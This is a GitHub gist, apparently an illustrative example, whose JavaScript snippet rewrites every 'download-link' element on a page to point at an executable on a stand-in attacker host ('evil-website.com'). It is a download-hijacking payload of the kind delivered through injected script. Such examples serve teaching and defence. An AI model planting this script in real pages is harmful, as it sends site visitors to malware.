Skip to content

Instantly share code, notes, and snippets.

@K-Mistele
Created January 15, 2021 21:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save K-Mistele/771022d94bdd7f347ca9aff23eb100cf to your computer and use it in GitHub Desktop.
Save K-Mistele/771022d94bdd7f347ca9aff23eb100cf to your computer and use it in GitHub Desktop.
// grab all download links on the page
const download_links = document.getElementsByClassName('download-link');
// change their target to a malicious piece of software hosted on the attacker's server
for (let link of download_links) {
link.setAttribute('href', 'https://evil-website.com/evil-program.exe');
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment